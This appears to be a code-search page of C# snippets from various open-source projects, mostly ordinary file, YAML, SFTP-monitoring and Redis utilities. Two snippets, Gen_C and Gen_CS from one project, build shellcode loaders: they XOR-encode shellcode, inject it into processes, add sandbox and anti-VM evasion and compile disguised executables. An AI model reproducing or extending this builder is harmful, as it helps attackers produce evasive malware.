public static (List<FileRecord> files, List<string> dirs) GetFilesystemStructure(this CDReader reader)
{
var fsObjects = reader.GetFileSystemEntries(reader.Root.FullName).ToList();
var nextLevel = new List<string>();
var filePaths = new List<string>();
var dirPaths = new List<string>();
while (fsObjects.Any())
{
foreach (var path in fsObjects)
{
if (reader.FileExists(path))
filePaths.Add(path);
else if (reader.DirectoryExists(path))
{
dirPaths.Add(path);
nextLevel.AddRange(reader.GetFileSystemEntries(path));
}
else
Log.Warn($"Unknown filesystem object: {path}");
}
(fsObjects, nextLevel) = (nextLevel, fsObjects);
nextLevel.Clear();
}
var filenames = filePaths.Distinct().Select(n => n.TrimStart('\\')).ToList();
var dirnames = dirPaths.Distinct().Select(n => n.TrimStart('\\')).OrderByDescending(n => n.Length).ToList();
var deepestDirnames = new List<string>();
foreach (var dirname in dirnames)
{
var tmp = dirname + "\\";
if (deepestDirnames.Any(n => n.StartsWith(tmp)))
continue;
deepestDirnames.Add(dirname);
}
dirnames = deepestDirnames.OrderBy(n => n).ToList();
var dirnamesWithFiles = filenames.Select(Path.GetDirectoryName).Distinct().ToList();
var emptydirs = dirnames.Except(dirnamesWithFiles).ToList();
var fileList = new List<FileRecord>();
foreach (var filename in filenames)
{
var clusterRange = reader.PathToClusters(filename);
if (clusterRange.Length != 1)
Log.Warn($"{filename} is split in {clusterRange.Length} ranges");
if (filename.EndsWith("."))
Log.Warn($"Fixing potential mastering error in {filename}");
fileList.Add(new FileRecord(filename.TrimEnd('.'), clusterRange.Min(r => r.Offset), reader.GetFileLength(filename)));
}
fileList = fileList.OrderBy(r => r.StartSector).ToList();
return (files: fileList, dirs: emptydirs);
}
19
View Source File : UriExtensions.cs
License : MIT License
Project Creator : 13xforever
License : MIT License
Project Creator : 13xforever
private static Uri SetQueryValue(Uri uri, string value)
{
var isAbsolute = uri.IsAbsoluteUri;
if (isAbsolute)
{
var builder = new UriBuilder(uri) { Query = value };
return new Uri(builder.ToString());
}
else
{
var startWithSlash = uri.OriginalString.StartsWith("/");
uri = new Uri(FakeHost, uri);
var builder = new UriBuilder(uri) { Query = value };
var additionalStrip = startWithSlash ? 0 : 1;
var newUri = builder.ToString().Substring(FakeHost.OriginalString.Length + additionalStrip);
return new Uri(newUri, UriKind.Relative);
}
}
19
View Source File : Dumper.cs
License : MIT License
Project Creator : 13xforever
License : MIT License
Project Creator : 13xforever
private List<string> EnumeratePhysicalDrivesLinux()
{
var cdInfo = "";
try
{
cdInfo = File.ReadAllText("/proc/sys/dev/cdrom/info");
}
catch (Exception e)
{
Log.Debug(e, e.Message);
}
var lines = cdInfo.Split(MultilineSplit, StringSplitOptions.RemoveEmptyEntries);
return lines.Where(s => s.StartsWith("drive name:")).Select(l => Path.Combine("/dev", l.Split(':').Last().Trim())).Where(File.Exists)
.Concat(IOEx.GetFilepaths("/dev", "sr*", SearchOption.TopDirectoryOnly))
.Distinct()
.ToList();
}
19
View Source File : ExpressionActivator.cs
License : Apache License 2.0
Project Creator : 1448376744
License : Apache License 2.0
Project Creator : 1448376744
private Expression ResovleConstantExpression(string expression)
{
//自动类型推断生成表达式
if (expression.StartsWith("'") && expression.EndsWith("'"))
{
//字符串常量
return Expression.Constant(expression.Trim('\''), typeof(string));
}
else if (expression == "true" || expression == "false")
{
return Expression.Constant(expression, typeof(bool));
}
else if (Regex.IsMatch(expression, @"^\d+$"))
{
//int类型常量
return Expression.Constant(expression, typeof(int));
}
else if (Regex.IsMatch(expression, @"^\d*\.\d*$"))
{
//double
return Expression.Constant(expression, typeof(int));
}
else if (expression == "null")
{
return Expression.Constant(null, typeof(object));
}
return Expression.Constant(expression, typeof(object));
}
19
View Source File : MemoryCacheHandler.cs
License : MIT License
Project Creator : 17MKH
License : MIT License
Project Creator : 17MKH
public async Task RemoveByPrefix(string prefix)
{
if (prefix.IsNull())
return;
var keys = GetAllKeys().Where(m => m.StartsWith(prefix));
foreach (var key in keys)
{
await Remove(key);
}
}
19
View Source File : TypeUtils.cs
License : MIT License
Project Creator : 1996v
License : MIT License
Project Creator : 1996v
public static bool IsAnonymousType(this Type type)
{
return Attribute.IsDefined(type, typeof(CompilerGeneratedAttribute), false)
&& type.Name.Contains("AnonymousType")
&& (type.Name.StartsWith("<>") || type.Name.StartsWith("VB$"))
&& (type.Attributes & TypeAttributes.NotPublic) == TypeAttributes.NotPublic;
}
19
View Source File : MonitorItemForm.cs
License : Apache License 2.0
Project Creator : 214175590
License : Apache License 2.0
Project Creator : 214175590
private void stb_home_url_Enter(object sender, EventArgs e)
{
string sdir = stb_project_source_dir.Text;
string appname = stb_app_name.Text;
string url = stb_home_url.Text;
if(!string.IsNullOrWhiteSpace(sdir) && !string.IsNullOrWhiteSpace(appname) && url.EndsWith("[port]")){
try
{
if (get_spboot_port_run)
{
return;
}
get_spboot_port_run = true;
if (!sdir.EndsWith("/"))
{
sdir += "/";
}
string serverxml = string.Format("{0}{1}/src/main/resources/config/application-dev.yml", sdir, appname);
string targetxml = MainForm.TEMP_DIR + string.Format("application-dev-{0}.yml", DateTime.Now.ToString("MMddHHmmss"));
targetxml = targetxml.Replace("\\", "/");
parentForm.RunSftpShell(string.Format("get {0} {1}", serverxml, targetxml), false, false);
ThreadPool.QueueUserWorkItem((a) =>
{
Thread.Sleep(500);
string port = "", ctx = "";
string yml = YSTools.YSFile.readFileToString(targetxml);
if(!string.IsNullOrWhiteSpace(yml)){
string[] lines = yml.Split('\n');
bool find = false;
int index = 0, start = 0;
foreach(string line in lines){
if (line.Trim().StartsWith("server:"))
{
find = true;
start = index;
}
else if(find && line.Trim().StartsWith("port:")){
port = line.Substring(line.IndexOf(":") + 1).Trim();
}
else if (find && line.Trim().StartsWith("context-path:"))
{
ctx = line.Substring(line.IndexOf(":") + 1).Trim();
}
if (index - start > 4 && start > 0)
{
break;
}
index++;
}
}
if (port != "")
{
stb_home_url.BeginInvoke((MethodInvoker)delegate()
{
stb_home_url.Text = string.Format("http://{0}:{1}{2}", config.Host, port, ctx);
});
}
get_spboot_port_run = false;
File.Delete(targetxml);
});
}
catch(Exception ex) {
logger.Error("Error", ex);
}
}
}
19
View Source File : Core.cs
License : MIT License
Project Creator : 1y0n
License : MIT License
Project Creator : 1y0n
public static bool Gen_C(string shellcode, string path, string execute, string inject, string arch, string detect)
{
string finalcode;
shellcode = Shellcode_Handle(shellcode);
shellcode = XOR_C("c", shellcode);
Random r = new Random();
int n = r.Next(0, Global.Company_name.Length - 1);
string comname = Global.Company_name[n];
string c_compile_info = C_Template.compile_info.Replace("{{companyname}}", comname);
//图标设置
if (Global.ICONPATH != "")
{
c_compile_info += @"IDI_ICON1 ICON ""{{path}}""";
c_compile_info = c_compile_info.Replace("{{path}}", Global.ICONPATH.Replace("\\", "\\\\"));
}
System.IO.File.WriteAllText("C:\\Windows\\Temp\\Yanri_res.rc", c_compile_info);
string res_cmd = "windres C:\\Windows\\Temp\\Yanri_res.rc C:\\Windows\\Temp\\Yanri_res.o";
if (arch.StartsWith("32"))
{
res_cmd += " --target=pe-i386";
}
Common.Execute_Cmd(res_cmd);
bool icon_set = System.IO.File.Exists("C:\\Windows\\Temp\\Yanri_res.o");
//System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.rc");
//根据执行方式选择代码模板
if (execute == "执行4-Dynamic")
{
finalcode = C_Template.Dynamic.Replace("{{shellcode}}", shellcode);
}
else
{
finalcode = C_Template.Base_Code.Replace("{{shellcode}}", shellcode);
switch (execute)
{
case "执行1-VirtualAlloc":
finalcode = finalcode.Replace("//{{execute}}", C_Template.VirtualALloc);
break;
case "执行2-GetProcAddress":
finalcode = finalcode.Replace("//{{execute}}", C_Template.GetProcessAddress);
break;
case "注入现有进程":
finalcode = finalcode.Replace("//{{execute}}", C_Template.CreateRemoteThread);
finalcode = finalcode.Replace("{{pid}}", inject);
break;
case "注入新进程":
finalcode = finalcode.Replace("//{{execute}}", C_Template.CreateNew);
finalcode = finalcode.Replace("{{processname}}", inject);
break;
default:
return false;
}
}
//虚拟机及沙箱检测
switch (detect)
{
case "沙箱:延时约180秒":
finalcode = finalcode.Replace("//{{sanbox_vm_detect}}", C_Template.Super_Delay);
break;
case "虚拟机:简单反虚拟机":
finalcode = finalcode.Replace("//{{sanbox_vm_detect}}", C_Template.Vm_Detect);
break;
}
//保存代码到临时文件
string temp_path = @"C:\Windows\Temp\YANRI_TEMP_" + Common.GetRandomString(6, true, true, true, false, "") + ".c";
System.IO.File.WriteAllText(temp_path, finalcode);
//编译
if (C_Compiler(arch, temp_path, path, icon_set))
{
//System.IO.File.Delete(temp_path);
System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.o");
return true;
} else
{
System.IO.File.Delete(temp_path);
System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.o");
return false;
}
}
19
View Source File : Core.cs
License : MIT License
Project Creator : 1y0n
License : MIT License
Project Creator : 1y0n
public static bool Gen_CS(string shellcode, string path, string execute, string inject, string arch, string detect)
{
shellcode = Shellcode_Handle(shellcode);
shellcode = XOR_C("c#", shellcode);
string target_arch = "/platform:x86 /optimize /target:winexe ";
if (arch.StartsWith("6"))
{
target_arch = target_arch.Replace("86", "64");
}
if (Global.ICONPATH != "")
{
target_arch += " /win32icon:" + Global.ICONPATH;
}
string finalcode = "";
//根据执行方式决定代码模板
switch (execute)
{
case "执行1-GetProcAddress":
finalcode = CS_Template.getprocaddress.Replace("{{shellcode}}", shellcode);
break;
case "执行2-VirtualProtect":
finalcode = CS_Template.virtualprotect.Replace("{{shellcode}}", shellcode);
break;
case "注入现有进程":
finalcode = CS_Template.syscall_exist.Replace("{{shellcode}}", shellcode).Replace("{{pid}}", inject);
target_arch += " /unsafe";
break;
case "注入新进程":
finalcode = CS_Template.syscall_new.Replace("{{shellcode}}", shellcode).Replace("{{processname}}", inject);
target_arch += " /unsafe";
break;
}
//虚拟机/沙箱检测
switch (detect)
{
case "沙箱:延时约180秒":
finalcode.Replace("//{{sanbox_vm_detect}}", CS_Template.super_delay);
break;
case "虚拟机:简单反虚拟机":
finalcode.Replace("//{{sanbox_vm_detect}}", CS_Template.vm_detect);
break;
}
//代码生成完毕,准备开始编译
Compiler compiler = new Compiler();
compiler.compileToExe(finalcode, path, target_arch);
//System.IO.File.WriteAllText(@"C:\Users\www1y\Desktop\arch.txt", target_arch);
return true;
}
19
View Source File : MonitorItemForm.cs
License : Apache License 2.0
Project Creator : 214175590
License : Apache License 2.0
Project Creator : 214175590
private void button1_Click(object sender, EventArgs e)
{
int index = tabControl1.SelectedIndex;
bool isnew = false;
if (monitorConfig == null)
{
isnew = true;
}
else
{
index = tabIndex;
}
if (index == 0)
{ // springboot
SpringBootMonitorItem item = new SpringBootMonitorItem();
item.AppName = stb_app_name.Text;
item.BuildFileName = stb_build_file.Text;
item.CrlFileName = stb_ctl_file.Text;
item.ShFileDir = stb_sh_dir.Text;
if (item.ShFileDir.EndsWith("/"))
{
item.ShFileDir = item.ShFileDir.Substring(0, item.ShFileDir.Length);
}
item.ProjectSourceDir = stb_project_source_dir.Text;
if (item.ProjectSourceDir.EndsWith("/"))
{
item.ProjectSourceDir = item.ProjectSourceDir.Substring(0, item.ProjectSourceDir.Length);
}
item.HomeUrl = stb_home_url.Text;
item.RunStatus = RunState.NoCheck;
if (string.IsNullOrWhiteSpace(item.HomeUrl))
{
item.HomeUrl = "http://" + config.Host + ":8080/";
}
if (string.IsNullOrWhiteSpace(item.AppName) || hasNonChar(item.AppName))
{
MessageBox.Show(this, "请填写应用名称,且不能包含'\",:;|");
return;
}
else if (string.IsNullOrWhiteSpace(item.ShFileDir))
{
MessageBox.Show(this, "请填写应用脚本目录");
return;
}
else if (string.IsNullOrWhiteSpace(item.BuildFileName))
{
MessageBox.Show(this, "请填写应用编译脚本文件名称");
return;
}
else if (string.IsNullOrWhiteSpace(item.CrlFileName))
{
MessageBox.Show(this, "请填写应用控制脚本文件名称");
return;
}
else if (string.IsNullOrWhiteSpace(item.ProjectSourceDir))
{
MessageBox.Show(this, "请填写应用代码存放目录");
return;
}
item.NeedAdd = cb_need_add.Checked;
if (item.NeedAdd)
{
item.ProjectSvnUrl = stb_project_svn.Text;
if (string.IsNullOrWhiteSpace(item.ProjectSvnUrl))
{
MessageBox.Show(this, "请填写应用SVN地址");
return;
}
}
if (isnew)
{
item.Uuid = Guid.NewGuid().ToString("N");
monitorConfig = new MonitorItemConfig();
}
else
{
item.Uuid = monitorConfig.spring.Uuid;
}
monitorConfig.spring = item;
}
else if (index == 1)
{ // tomcat
TomcatMonitorItem item = new TomcatMonitorItem();
item.TomcatName = stb_tomcat_name.Text;
item.TomcatDir = stb_tomcat_path.Text;
item.TomcatPort = stb_tomcat_port.Text;
item.RunStatus = RunState.NoCheck;
if (string.IsNullOrWhiteSpace(item.TomcatName) || hasNonChar(item.TomcatName))
{
MessageBox.Show(this, "请填写Tomcat名称,且不能包含'\",:;|");
return;
}
else if (string.IsNullOrWhiteSpace(item.TomcatDir))
{
MessageBox.Show(this, "请填写Tomcat根目录");
return;
}
else if (string.IsNullOrWhiteSpace(item.TomcatPort))
{
item.TomcatPort = "8080";
}
if (isnew)
{
item.Uuid = Guid.NewGuid().ToString("N");
monitorConfig = new MonitorItemConfig();
}
else
{
item.Uuid = monitorConfig.tomcat.Uuid;
}
monitorConfig.tomcat = item;
}
else if (index == 2)
{ // nginx
NginxMonitorItem item = new NginxMonitorItem();
item.NginxName = stb_nginx_name.Text;
item.NginxPath = stb_nginx_path.Text;
item.NginxConfig = stb_nginx_conf.Text;
item.RunStatus = RunState.NoCheck;
if (string.IsNullOrWhiteSpace(item.NginxName) || hasNonChar(item.NginxName))
{
MessageBox.Show(this, "请填写Nginx名称,且不能包含'\",:;|");
return;
}
else if (string.IsNullOrWhiteSpace(item.NginxPath))
{
MessageBox.Show(this, "请填写Nginx执行文件完整路径");
return;
}
else if (string.IsNullOrWhiteSpace(item.NginxConfig))
{
MessageBox.Show(this, "请填写Nginx配置文件完整路径");
return;
}
if (isnew)
{
monitorConfig = new MonitorItemConfig();
item.Uuid = Guid.NewGuid().ToString("N");
}
else
{
item.Uuid = monitorConfig.nginx.Uuid;
}
monitorConfig.nginx = item;
}
else if (index == 3)
{ // ice
IceMonitorItem item = new IceMonitorItem();
item.AppName = stb_ice_appname.Text;
item.IceSrvDir = stb_ice_srvpath.Text;
item.NodePorts = stb_ice_ports.Text;
item.ServerName = stb_ice_servername.Text;
item.RunStatus = RunState.NoCheck;
if (string.IsNullOrWhiteSpace(item.AppName) || hasNonChar(item.AppName))
{
MessageBox.Show(this, "请填写项目名称,且不能包含'\",:;|");
return;
}
else if (string.IsNullOrWhiteSpace(item.IceSrvDir))
{
MessageBox.Show(this, "请填写项目Ice目录完整路径");
return;
}
else if (string.IsNullOrWhiteSpace(item.ServerName))
{
MessageBox.Show(this, "请填写Ice服务名称");
return;
}
else if (string.IsNullOrWhiteSpace(item.NodePorts))
{
MessageBox.Show(this, "请填写项目使用的端口号,多个以逗号(,)分隔");
return;
}
if (isnew)
{
monitorConfig = new MonitorItemConfig();
item.Uuid = Guid.NewGuid().ToString("N");
}
else
{
item.Uuid = monitorConfig.ice.Uuid;
}
monitorConfig.ice = item;
}
if (isnew)
{
config.MonitorConfigList.Add(monitorConfig);
}
AppConfig.Instance.SaveConfig(2);
if (null != parentForm && monitorConfig.spring != null)
{
// TODO 执行checkout
if (monitorConfig.spring.NeedAdd)
{
string home = parentForm.getSftp().getHome();
string buildStr = YSTools.YSFile.readFileToString(MainForm.CONF_DIR + "__build.sh");
string ctlStr = YSTools.YSFile.readFileToString(MainForm.CONF_DIR + "__ctl.sh");
if (monitorConfig.spring.ProjectSourceDir.StartsWith(home))
{
string path = monitorConfig.spring.ProjectSourceDir.Substring(home.Length);
if (path.StartsWith("/"))
{
path = path.Substring(1);
}
buildStr = buildStr.Replace("_sourcePath_", "~/" + path);
ctlStr = ctlStr.Replace("_sourcePath_", "~/" + path);
}
else
{
buildStr = buildStr.Replace("_sourcePath_", monitorConfig.spring.ProjectSourceDir);
ctlStr = ctlStr.Replace("_sourcePath_", monitorConfig.spring.ProjectSourceDir);
}
buildStr = buildStr.Replace("_projectName_", monitorConfig.spring.AppName);
ctlStr = ctlStr.Replace("_projectName_", monitorConfig.spring.AppName);
ctlStr = ctlStr.Replace("_disconfigUrl_", stb_disconfig_url.Text);
string localBuild = MainForm.CONF_DIR + monitorConfig.spring.BuildFileName;
string localCtl = MainForm.CONF_DIR + monitorConfig.spring.CrlFileName;
string remoteBuild = monitorConfig.spring.ShFileDir + "/" + monitorConfig.spring.BuildFileName;
string remoteCtl = monitorConfig.spring.ShFileDir + "/" + monitorConfig.spring.CrlFileName;
YSTools.YSFile.writeFileByString(localBuild, buildStr);
YSTools.YSFile.writeFileByString(localCtl, ctlStr);
ThreadPool.QueueUserWorkItem((a) =>
{
Thread.Sleep(500);
parentForm.BeginInvoke((MethodInvoker)delegate()
{
parentForm.getSftp().put(localBuild, remoteBuild, ChannelSftp.OVERWRITE);
parentForm.getSftp().put(localCtl, remoteCtl, ChannelSftp.OVERWRITE);
parentForm.RunShell("cd " + monitorConfig.spring.ProjectSourceDir, true);
parentForm.RunShell("svn checkout " + monitorConfig.spring.ProjectSvnUrl, true);
File.Delete(localBuild);
File.Delete(localCtl);
});
});
}
}
this.Close();
}
19
View Source File : YmlFormatUtil.cs
License : Apache License 2.0
Project Creator : 214175590
License : Apache License 2.0
Project Creator : 214175590
public static List<YmlLine> FormatYml(string content, bool beautify = false)
{
List<YmlLine> list = new List<YmlLine>();
string[] lines = content.Split('\n');
YmlLine ylText = null;
int index1 = -1, index2 = -1, count = 0, num = 0;
string startStr = null, endStr = null, line = "";
string key = null, value = null, mh = ":";
List<int> levels = new List<int>();
for(int i = 0, k = lines.Length; i < k; i++){
line = lines[i];
if(line.TrimStart().StartsWith("#")){
ylText = new YmlLine()
{
Text = line + "\n",
Color = Color.Gray
};
list.Add(ylText);
}
else
{
// 非整行注释
// 美化
if (beautify)
{
count = StartSpaceCount(line);
if (count == 0)
{
levels.Clear();
}
// level
if (!levels.Contains(count))
{
levels.Add(count);
levels.Sort();
}
num = levels.IndexOf(count) * 4;
if (num > count)
{
line = GetSpace(num - count) + line;
}
}
// 行中有井号,但不是首位#
index2 = line.IndexOf("#");
if(index2 > 0){
startStr = line.Substring(0, index2);
index1 = startStr.IndexOf(":");
if (index1 > 0)
{
// key
key = startStr.Substring(0, index1);
ylText = new YmlLine()
{
Text = key,
Color = Color.OrangeRed
};
list.Add(ylText);
// :
ylText = new YmlLine()
{
Text = mh,
Color = Color.Violet
};
list.Add(ylText);
// value
value = startStr.Substring(index1 + 1);
ylText = new YmlLine()
{
Text = value,
Color = getTextColor(value)
};
list.Add(ylText);
}
else
{
ylText = new YmlLine()
{
Text = "#" + startStr,
Color = Color.Gray
};
list.Add(ylText);
}
// 注释掉的部分
endStr = line.Substring(index2);
ylText = new YmlLine()
{
Text = endStr + "\n",
Color = Color.Gray
};
list.Add(ylText);
}
else
{
// 行中无井号
startStr = line;
index1 = startStr.IndexOf(":");
if (index1 > 0)
{
// key
key = startStr.Substring(0, index1);
ylText = new YmlLine()
{
Text = key,
Color = Color.OrangeRed
};
list.Add(ylText);
// :
ylText = new YmlLine()
{
Text = mh,
Color = Color.Violet
};
list.Add(ylText);
// value
value = startStr.Substring(index1 + 1);
ylText = new YmlLine()
{
Text = value + "\n",
Color = getTextColor(value)
};
list.Add(ylText);
}
else
{
// 行中无井号,且是不合规的配置值
if (string.IsNullOrWhiteSpace(line))
{
ylText = new YmlLine()
{
Text = line + "\n",
Color = Color.OrangeRed
};
}
else
{
ylText = new YmlLine()
{
Text = "#" + line + "\n",
Color = Color.Gray
};
}
list.Add(ylText);
}
}
}
}
return list;
}
19
View Source File : YmlFormatUtil.cs
License : Apache License 2.0
Project Creator : 214175590
License : Apache License 2.0
Project Creator : 214175590
public static YmlError ValidateYml(string content)
{
YmlError result = null;
string[] lines = content.Split('\n');
int index1 = -1, index2 = -1, lineIndex = 1, index = 0;
string startStr = null;
foreach (string line in lines)
{
if (!line.TrimStart().StartsWith("#"))
{
if (line.IndexOf(" ") != -1 && line.Substring(0, line.IndexOf(" ")).IndexOf("#") == -1)
{
result = new YmlError();
result.line = lineIndex;
result.index = content.IndexOf(" ", index);
result.msg = string.Format("第{0}行,位置{1}包含Tab符", lineIndex, line.IndexOf(" "));
break;
}
else if (!string.IsNullOrWhiteSpace(line))
{
index2 = line.IndexOf("#");
if (index2 > 0)
{
startStr = line.Substring(0, index2);
index1 = startStr.IndexOf(":");
if (index1 <= 0)
{
result = new YmlError();
result.line = lineIndex;
result.index = index;
result.msg = string.Format("第{0}行,格式不正确,缺少冒号", lineIndex);
break;
}
}
else
{
index1 = line.IndexOf(":");
if (index1 <= 0)
{
result = new YmlError();
result.line = lineIndex;
result.index = index;
result.msg = string.Format("第{0}行,格式不正确,缺少冒号", lineIndex);
break;
}
}
}
}
lineIndex++;
index += line.Length;
}
return result;
}
19
View Source File : TomcatMonitorForm.cs
License : Apache License 2.0
Project Creator : 214175590
License : Apache License 2.0
Project Creator : 214175590
public List<JObject> loadTomcatServerProject()
{
List<JObject> itemList = new List<JObject>();
try
{
string serverxml = l_tomcat_path.Text + "conf/server.xml";
string targetxml = MainForm.TEMP_DIR + string.Format("server-{0}.xml", DateTime.Now.ToString("MMddHHmmss"));
targetxml = targetxml.Replace("\\", "/");
monitorForm.RunSftpShell(string.Format("get {0} {1}", serverxml, targetxml), false, false);
List<System.Collections.Hashtable> list = YSTools.YSXml.readXml(targetxml, "Server");
if (list != null && list.Count > 0)
{
List<System.Collections.Hashtable> serviceList = null;
List<System.Collections.Hashtable> engineList = null;
List<System.Collections.Hashtable> hostList = null;
string port = null, docBase = "", path = "";
JObject json = null;
foreach (System.Collections.Hashtable one in list)
{
if (one["NodeName"].ToString() == "Service")
{
serviceList = (List<System.Collections.Hashtable>)one["ChildList"];
foreach (System.Collections.Hashtable two in serviceList)
{
if (two["NodeName"].ToString() == "Engine")
{
engineList = (List<System.Collections.Hashtable>)two["ChildList"];
foreach (System.Collections.Hashtable three in engineList)
{
if (three["NodeName"].ToString() == "Host")
{
hostList = (List<System.Collections.Hashtable>)three["ChildList"];
foreach (System.Collections.Hashtable four in hostList)
{
if (four["NodeName"].ToString() == "Context")
{
json = new JObject();
docBase = four["docBase"].ToString();
path = four["path"].ToString();
if (!docBase.EndsWith(path))
{
if (docBase.StartsWith("/"))
{
json.Add("path", docBase);
}
else
{
json.Add("path", l_tomcat_path.Text + "webapps/" + docBase);
}
json.Add("name", docBase);
json.Add("url", l_visit_url.Text + "/" + path);
itemList.Add(json);
}
}
}
}
}
break;
}
}
if (port != null)
{
break;
}
}
}
}
File.Delete(targetxml);
}
catch { }
return itemList;
}
19
View Source File : CentralServerConfigForm.cs
License : Apache License 2.0
Project Creator : 214175590
License : Apache License 2.0
Project Creator : 214175590
private void 添加子节点ToolStripMenuItem_Click(object sender, EventArgs e)
{
if (_treeView.SelectedItems.Count > 0)
{
TreeListViewItem parentNode = _treeView.SelectedItems[0];
YmlItem parentObj = (YmlItem) parentNode.Tag;
TreeListViewItem viewItem = new TreeListViewItem();
YmlItem obj = new YmlItem()
{
Key = "",
Value = "",
Level = parentObj.Level + 1,
Common = "",
Uuid = Guid.NewGuid().ToString("N"),
ImageIndex = 1,
Parent = parentObj,
SpcCount = (parentObj.Level + 1) * 4
};
viewItem.Tag = obj;
viewItem.Text = obj.Key;
viewItem.ImageIndex = obj.ImageIndex;
viewItem.SubItems.Add(obj.Value);
viewItem.SubItems.Add("" + obj.Level);
viewItem.SubItems.Add(obj.Common);
parentNode.Items.Add(viewItem);
string parentId = parentObj.Uuid;
YmlNodeForm form = new YmlNodeForm(viewItem, null, null, 1);
form.ShowDialog(this);
string value = viewItem.SubItems[1].Text;
if (string.IsNullOrWhiteSpace(value))
{
string key = viewItem.SubItems[0].Text;
if (key.Trim().StartsWith("#"))
{
obj.ImageIndex = 2;
} else {
obj.ImageIndex = 3;
}
viewItem.ImageIndex = obj.ImageIndex;
}
btn_save.Enabled = true;
}
}
19
View Source File : Form1.cs
License : Apache License 2.0
Project Creator : 214175590
License : Apache License 2.0
Project Creator : 214175590
public void ShowLogger(string line)
{
this.BeginInvoke((MethodInvoker)delegate()
{
line = line.Replace("\r\r", "");
if(!line.EndsWith("\n")){
line += "\n";
}
List<Message> msgList = new List<Message>();
if(line.StartsWith(cmd + "\r\n")){
string str1 = line.Substring(0, (cmd + "\r\n").Length);
msgList.Add(new Message() {
Text = str1,
Color = Color.Red
});
MessageUtils.FormatMessage(msgList, line.Substring((cmd + "\r\n").Length));
}
else
{
MessageUtils.FormatMessage(msgList, line);
}
foreach (Message msg in msgList)
{
if(msg != null && msg.Text != null){
rtb_log.SelectionColor = msg.Color;
rtb_log.SelectionBackColor = msg.BackColor;
rtb_log.AppendText(msg.Text);
}
}
rtb_log.Select(rtb_log.TextLength, 0);
rtb_log.Focus();
//滚动到控件光标处
rtb_log.ScrollToCaret();
tb_shell.Focus();
});
}
19
View Source File : CentralServerConfigForm.cs
License : Apache License 2.0
Project Creator : 214175590
License : Apache License 2.0
Project Creator : 214175590
private void 校验ToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
ListViewItem item = listView1.SelectedItems[0];
string content = "";
if (tabControl1.SelectedIndex == 0)
{
string line = "";
StringBuilder sb = new StringBuilder();
foreach(TreeListViewItem treeNode in _treeView.Items){
line = treeNode.Text;
if(!line.TrimStart().StartsWith("#")){
line += ": " + treeNode.SubItems[0].Text;
line += treeNode.SubItems[2].Text;
}
sb.AppendLine(treeNode.Text);
}
content = sb.ToString();
}
else
{
content = ymlEditor.Text;
}
Validate(item, content);
}
}
19
View Source File : CentralServerConfigForm.cs
License : Apache License 2.0
Project Creator : 214175590
License : Apache License 2.0
Project Creator : 214175590
private List<string> getTreeNodeContent(TreeListViewItemCollection items)
{
List<string> list = new List<string>();
string line = "";
int level = 0;
foreach (TreeListViewItem treeNode in items)
{
line = treeNode.Text;
if (!line.TrimStart().StartsWith("#"))
{
line += ": ";
level = Convert.ToInt32(treeNode.SubItems[2].Text);
line = YmlFormatUtil.GetSpace(level * 4) + line;
line += treeNode.SubItems[1].Text;
line += treeNode.SubItems[3].Text;
}
if (!string.IsNullOrWhiteSpace(line))
{
list.Add(line);
}
list.AddRange(getTreeNodeContent(treeNode.Items));
}
return list;
}
19
View Source File : CentralServerConfigForm.cs
License : Apache License 2.0
Project Creator : 214175590
License : Apache License 2.0
Project Creator : 214175590
private void 添加同级节点ToolStripMenuItem_Click(object sender, EventArgs e)
{
if (_treeView.SelectedItems.Count > 0)
{
TreeListViewItem parentNode = _treeView.SelectedItems[0];
YmlItem parentObj = (YmlItem)parentNode.Tag;
TreeListViewItem viewItem = new TreeListViewItem();
YmlItem obj = new YmlItem()
{
Key = "",
Value = "",
Level = parentObj.Level,
Common = "",
Uuid = Guid.NewGuid().ToString("N"),
ImageIndex = parentObj.ImageIndex == 2 ? 1 : parentObj.ImageIndex,
Parent = parentObj.Parent,
SpcCount = parentObj.SpcCount
};
viewItem.Tag = obj;
viewItem.Text = obj.Key;
viewItem.ImageIndex = obj.ImageIndex;
viewItem.SubItems.Add(obj.Value);
viewItem.SubItems.Add("" + obj.Level);
viewItem.SubItems.Add(obj.Common);
if (parentNode.Parent != null)
{
parentNode.Parent.Items.Add(viewItem);
}
else
{
_treeView.Items.Add(viewItem);
}
YmlNodeForm form = new YmlNodeForm(viewItem, null, null, 1);
form.ShowDialog(this);
string value = viewItem.SubItems[1].Text;
if (string.IsNullOrWhiteSpace(value))
{
string key = viewItem.SubItems[0].Text;
if (key.Trim().StartsWith("#"))
{
obj.ImageIndex = 2;
}
else
{
obj.ImageIndex = 3;
}
viewItem.ImageIndex = obj.ImageIndex;
}
btn_save.Enabled = true;
}
}
19
View Source File : CentralServerConfigForm.cs
License : Apache License 2.0
Project Creator : 214175590
License : Apache License 2.0
Project Creator : 214175590
private void 行注释ToolStripMenuItem_Click(object sender, EventArgs e)
{
int index = ymlEditor.GetFirstCharIndexOfCurrentLine();
int line = ymlEditor.GetLineFromCharIndex(index);
int start = ymlEditor.SelectionStart;
string lineStr = ymlEditor.Lines[line];
if(lineStr.TrimStart().StartsWith("#")){
ymlEditor.SelectionStart = index + lineStr.IndexOf("#");
ymlEditor.SelectionLength = 1;
ymlEditor.SelectedText = "";
}
else
{
ymlEditor.SelectionStart = start;
ymlEditor.SelectionLength = 0;
ymlEditor.SelectedText = "#";
}
ymlEditor.Focus();
}
19
View Source File : ClusterAdapter.cs
License : MIT License
Project Creator : 2881099
License : MIT License
Project Creator : 2881099
void RefershClusterNodes()
{
foreach (var testConnection in _clusterConnectionStrings)
{
RegisterClusterNode(testConnection);
//尝试求出其他节点,并缓存slot
try
{
var cnodes = AdapterCall<string>("CLUSTER".SubCommand("NODES"), rt => rt.ThrowOrValue<string>()).Split('\n');
foreach (var cnode in cnodes)
{
if (string.IsNullOrEmpty(cnode)) continue;
var dt = cnode.Trim().Split(' ');
if (dt.Length < 9) continue;
if (!dt[2].StartsWith("master") && !dt[2].EndsWith("master")) continue;
if (dt[7] != "connected") continue;
var endpoint = dt[1];
var at40 = endpoint.IndexOf('@');
if (at40 != -1) endpoint = endpoint.Remove(at40);
if (endpoint.StartsWith("127.0.0.1"))
endpoint = $"{DefaultRedisSocket.SplitHost(testConnection.Host).Key}:{endpoint.Substring(10)}";
else if (endpoint.StartsWith("localhost", StringComparison.CurrentCultureIgnoreCase))
endpoint = $"{DefaultRedisSocket.SplitHost(testConnection.Host).Key}:{endpoint.Substring(10)}";
